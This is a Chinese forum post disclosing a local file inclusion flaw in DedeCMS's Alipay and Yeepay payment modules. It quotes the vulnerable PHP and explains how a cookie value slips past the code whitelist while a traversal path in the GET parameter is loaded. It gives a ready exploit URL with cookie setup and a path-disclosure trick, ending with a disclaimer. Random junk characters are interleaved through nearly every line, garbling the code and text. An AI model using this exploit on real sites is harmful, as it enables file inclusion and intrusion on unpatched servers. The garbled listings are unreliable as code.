晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)- X$ w+ `3 a$ Y2 S8 t3 I
4 I' p6 x& f* x0 T
出现漏洞的两个文件为:
q5 d4 {% s OInclude/payment/alipay.php" y6 T1 ?# L. f6 x0 @! W
Include/payment/yeepay.php
- q+ @5 p: j, g5 Q8 {漏洞均出现在respond方法里,估计这两个文件是临时工写的。
# h& R8 A; b4 }0 U' o3 E
/ D# y2 u9 F( R1 \- \; AInclude/payment/alipay.php
" @' c+ b. G6 a& T/ v0 a
6 h* u) o7 `9 N8 C# M......9 J) [# B. V6 \. I$ \
function respond() n+ ?+ r) I) i$ `: _% y+ W! U2 ~
{
9 a* i8 {3 K i) _ if (!empty($_POST))+ V4 q% T, z3 l
{* ~5 B. j: ]; q* g/ ~
foreach($_POST as $key => $data)
. A$ R# c9 ]* ~; D7 h' K8 o) t {* Q8 X* z+ l. z T, K- M
$_GET[$key] = $data;
/ [5 T7 q, o) Q+ I7 q" i, } }) \2 a2 D. C9 S) ^
}
5 w9 x" Q+ R6 G* R/ J2 Q /* 引入配置文件 */; W3 a. Y8 r; B2 c! }. z
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';; Z6 g: M+ w2 e/ ]' e
...... ; |. q. s9 c! V7 v, _ A
# \! [6 l4 T m8 |& K: O) ~( c$ h7 y0 l$ }
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。8 q* |1 ?9 e! }$ u- O7 O2 D" p0 i
# `) a5 r0 H! y9 F! ]4 ~$ tInclude/payment/yeepay.php
6 W* M: D O" v0 `9 k# M. Q
8 |$ [" n; i3 m' H; M4 K7 S7 z1 \ 4 Z7 F" L- I( y q
# z; f& e2 L# B3 d# c2 C
......
' I" T: u3 A3 e0 I2 \% p function respond()/ Q, L |$ w- ^6 L* F
{
" T+ e) G0 b! Z' [) O) P. a% K
$ s& h, ?9 G; w' T5 s$ V0 G3 [ /* 引入配置文件 */
3 t$ a, R" r3 _9 E6 e; Y2 \3 u require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
' j9 ~: j* }. w/ `
! [/ F% S3 q( `: f% G3 A $p1_MerId = trim($payment['yp_account']);& J/ z* I, y A& r
$merchantKey = trim($payment['yp_key']);7 L' S4 z* `! N! s8 C; b
......
( V1 L0 J8 I9 k2 G5 h+ v4 X v
8 n0 q* N; D* O2 m
" m* _5 s7 \% u* S
) s, o6 O( F r) t2 c- Y0 P
4 D, u7 o+ P3 r; e2 k) i7 C大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。 L4 p# U" c$ x- {
6 g# T' ?' o2 r6 J3 z: }+ w
这两个方法在plus/carbuyaction.php文件调用。
- A* I& @6 W1 f2 K; Z3 {
( J) q7 n$ t* h( |( tplus/carbuyaction.php; _& \8 G9 ?9 i- C& M. e( c
# ]( l$ a& f0 s- t
......4 C/ R- c) x1 }% z6 p" C
} else if ($dopost == 'return') {
, S0 D) ^0 G% _* P. F+ ?6 C $write_list = array('alipay', 'bank', 'cod', 'yeepay');
8 p# Y7 v3 V/ b- W' K' f; T* D$ a if (in_array($code, $write_list))
* W+ G" I% v# R$ `! U1 s {
* X( w8 i4 b2 B. R% q2 R/ w( @, M/ n require_once DEDEINC.'/payment/'.$code.'.php';" |$ c' f! M. U' H0 J
$pay = new $code;
# a2 ~) q( v1 q$ [9 s $msg=$pay->respond();
/ | A" K0 R" [9 W ShowMsg($msg, "javascript:;", 0, 3000);0 u1 S' I6 o/ ?" S
exit();
( w6 A3 i6 o0 g } else {! B3 W9 ~8 x6 P9 d6 w0 d$ a' G- m
exit('Error:File Type Can\'t Recognized!');
7 R9 N3 K1 M* V1 e }9 k: H& M5 C+ y& J& u/ M" G7 Q
}4 S& q* y% a$ n2 B# ?! z+ H
...... / r2 |3 ~3 w3 z+ ~
+ \+ P2 o: ^. v7 Y! s& Z0 ]8 y) O( S1 O6 L) _ m/ W9 b
( T% s+ V' d. f$ c& A8 A! V
; i2 L J+ B1 E4 ?9 Q
+ s' A$ o8 {' z4 ^8 d4 Q' F" V5 g9 K0 q+ N& c$ k9 z2 o9 [( {# E
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
9 |5 C) g* R2 t+ r2 [所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
! q2 S2 [3 k+ `7 o6 V" ?& h- u" ?+ i1 `5 `0 D% T
回到include/common.inc.php来看看他的机制。& M; d+ q+ O, b: R7 ]
+ X( |3 R" a* e
7 }6 M# F+ R9 V9 \6 V" L3 q
: m! _7 ^. B% i1 b0 E' V......
' U3 ?& B4 M: v7 R( Tforeach(Array('_GET','_POST','_COOKIE') as $_request)
2 t+ ]! j9 }3 f% l$ r{& P Q/ e7 A; k2 `" B7 z
foreach($$_request as $_k => $_v) ; n8 c8 p$ ~+ d: L
{
. H+ e" E, z2 [( |$ C* N5 K% C4 M if($_k == 'nvarname') ${$_k} = $_v;' l* O* g+ W" g- N+ m
else ${$_k} = _RunMagicQuotes($_v);
9 S$ `2 G7 `% [* `5 o }
4 \0 g6 K3 n' g}6 a( q7 N% |" S) r
...... / O% {3 i) r6 u7 S! X
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:" U# C; E, |& {* S9 B& d
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |